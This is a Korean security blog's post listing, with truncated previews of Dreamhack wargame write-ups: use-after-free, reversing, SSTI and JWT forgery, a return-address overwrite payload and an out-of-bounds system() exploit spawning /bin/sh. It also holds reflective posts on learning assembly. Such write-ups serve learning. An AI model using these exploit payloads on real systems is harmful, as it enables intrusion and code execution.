본문 바로가기

호그와트

(366)
User After free 취약점 User After free 취약점 : 쉽게 말해서 이전에 메모리를 활용한 포인터가 메모리 해제 후 적절한 초기화를 하지 않아 발생하는 취약점이다. ​ 예제 코드 #include #include #include s ​ truct NameTag { char team_name[16]; char name[32]; void (*func)();}; ​ struct Secret { char secret_name[16]; char secret_info[32]; long code;}; ​ int main() { int idx; struct NameTag *nametag; struct Secret *secret; ​ secret = malloc(sizeof(struct Secret)); ​ strcpy(secret->s..
dreamhack rev-basic-9 흠냐 흠냐 주어진 문제의 함수를 분석해보면 간단하다 . 일단 입력한 값으로 xor연산 그 다음 바이트 가져와서 rax에 더한 후 eax로 옮기고 입력값에 대해서 ror 연산 5 수행 수행 조금 더 정제된 형식으로 표현하면 이전 바이트 값을 가져온 다음 이를 해당 위치의 key 배열 문자와 xor연산 나오는 값을 index로 하는 mem 값을 가져오고 이 값을 buf의 다음 바이트와 더한다 오른쪽으로 5번 rotation 하는 연산을 반복적으로 수행하고 있댜 ​ 수식적으로 표현하면 이렇게 된다 temp = rotl(buf[i * 8 + (8 - k) % 8], 5); temp -= mem[(unsigned char)(buf[i * 8 + 7 - k] ^ keyArray[7 - k])]; ​ buf[i * ..
드림핵 dreamschool ~~파도 ~~~ 별 지난 번 설명이 너무 불충분 했던 거 같아서 대략적으로 write up 을 잡아보자. 해당 워게임은 dreamhack dreamschool이다 일단 ssti취약점이 있다 !! 쿠궁 ssti 취약점을 어떻게 적용할 수 있을지는 이 글을 읽으시는 분이 직접 생각해보셔도 좋겠다. jinja2의 render_template_string 함수를 사용해서 ssti취약점 가능성이 있다는 것을 추리할 수 있다 어쨋든 그렇게 pub key를 구할 수 있게 되는데 이는 ​ import jwt import datetime ​ pub_key = b'-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC6eagXQyAgUyVHWJ/VvnUmB2W5\n0a85CI..
dreamhack return address Overwrite # sget_shell GET_SHELL_ADDR = p64(0x004006aa​) # attack !!!!@!@!@#!@!!! PAYLOAD = "\x90"*48 PAYLOAD += "BBBBBBBB" ~~~~~~~~~~~~~~~~~~~~~~~ 대략 이런 식으로 몇 번 공격해주면 바로 flag를 뱉어낸다 ​
dreamhack Oob int main() { int idx; ​ initialize(); ​ printf("Admin name: "); read(0, name, sizeof(name)); printf("What do you want?: "); ​ scanf("%d", &idx); ​ system(command[idx]); ​ return 0; } ​ 대충 이름을 물어보고 입력값을 받는다 배열에 index를 벗어나서 참조하면 원하는 system 명령어를 실행할 수 있다 그걸 개념적으로는 Out of Bounds라고 한다. ​ p.recvuntil(b"Admin name: “) payload = p32(name+4) payload += b”/bin/sh" p.sendline(payload) p.recvuntil(b"What do..
godbolt로 어셈블리어 이해하기 최근에 리버싱이나 어셈블리어 등을 아예 처음 접하는 사람들을 몇 분 만나서 하나씩 하나씩 다시 가르쳐주거나 이해시켜주어야 되는 일이 있었습니다 특히 정말 나이가 어린 분께 하나씩 가르쳐주는 건 어려운 일이었습니다 그러다보니 제가 리버싱과 어셈블리어를 처음 접했을 때를 떠올리게 되었습니다 ​ 리버싱 혹은 어셈블리어 등을 공부할 때 자주 듣는 말이 있습니다 “계속 접해보다보면, 계속 분석하다보면 잘하게 될거야” 너무나 맞는 말이라고 생각합니다 본인의 실력이 아직 얼마나 부족한 지 아는 저 역시도 계속해서 분석하고 슬로싱킹하면서 실력을 쌓아나갈 수 밖에 없다는 것을 너무 잘 압니다 지금도 분석하다보면 배우는 게 너무 많고 새로운 게 너무 많습니다. ​ 그런데 사실 초보분들이 가지는 문제점은 그 분석을 시작하자..
한계 돌파하기 리버싱과 시스템 해킹 *godbolt로 어셈블리어 이해하기 이 글을 참고해주시면 감사할 거 같습니다 ​ 최근에 내 한계점을 돌파할 수 있어서 너무 고맙고 재미있어서 이 글을 적게 되었다. 'godbolt로 어셈블리어 이해하기' 이 글에도 어느 정도 비슷한 내용이 적혀 있긴 한데 그거랑은 또 다른 큰 즐거움이었다. 몇 달 전부터 잘 이해가 안 되고 많이 어려움을 겪던 부분이 있었다. 단순히 어떤 특정 분야라고 뭉뚱그려서 얘기하기는 어렵지만, 아무튼 누구나 길을 정진하다보면 있을 수 있는 장벽이랄까 어려움이랄까 그런 게 있었다. 근데 오히려 그 장벽 앞에서 더 노력하니까 더 열심히 하니까 되긴 되더라. 안 되던 부분이 결국엔 이해되고 절대 안 풀릴 거 같던게 결국엔 되고 정말 어려운 것도 결국엔 해결 되더라 정말 너무 신기하고 ..
dreamschool (dreamhack) 문제에 딸려있는 dockerfile에 중요한 힌트가 있는 문제이다 원래 최신 버전에는 pub key만으로 개인키를 유추할 수 없게끔 되어있지만 이 문제는 의도적으로 그 부분을 삭제해버렸다 ​ 이 문제 안에는 중요한 취약점이 있는데 그 취약점을 통해서 pub key를 얻을 수 있도록 구성되어 있다 위에 말한 것처럼 삭제되어 있는 부분을 통해 개인키까지도 유추할 수 있도록 구성되어 있고 그것을 통해서 인증을 통과할 수 있다 ​ 그러나 자세히 보면 또 다른 인증이 있음을 알 수 있다 통과할 방법이 없는 거 같은데 그러면 어떻게 해야 하는 걸까? ​ headers = { 'cookie': f'token={token}'} url_base = 'http://host1.dreamhack.games:16766/s/드림..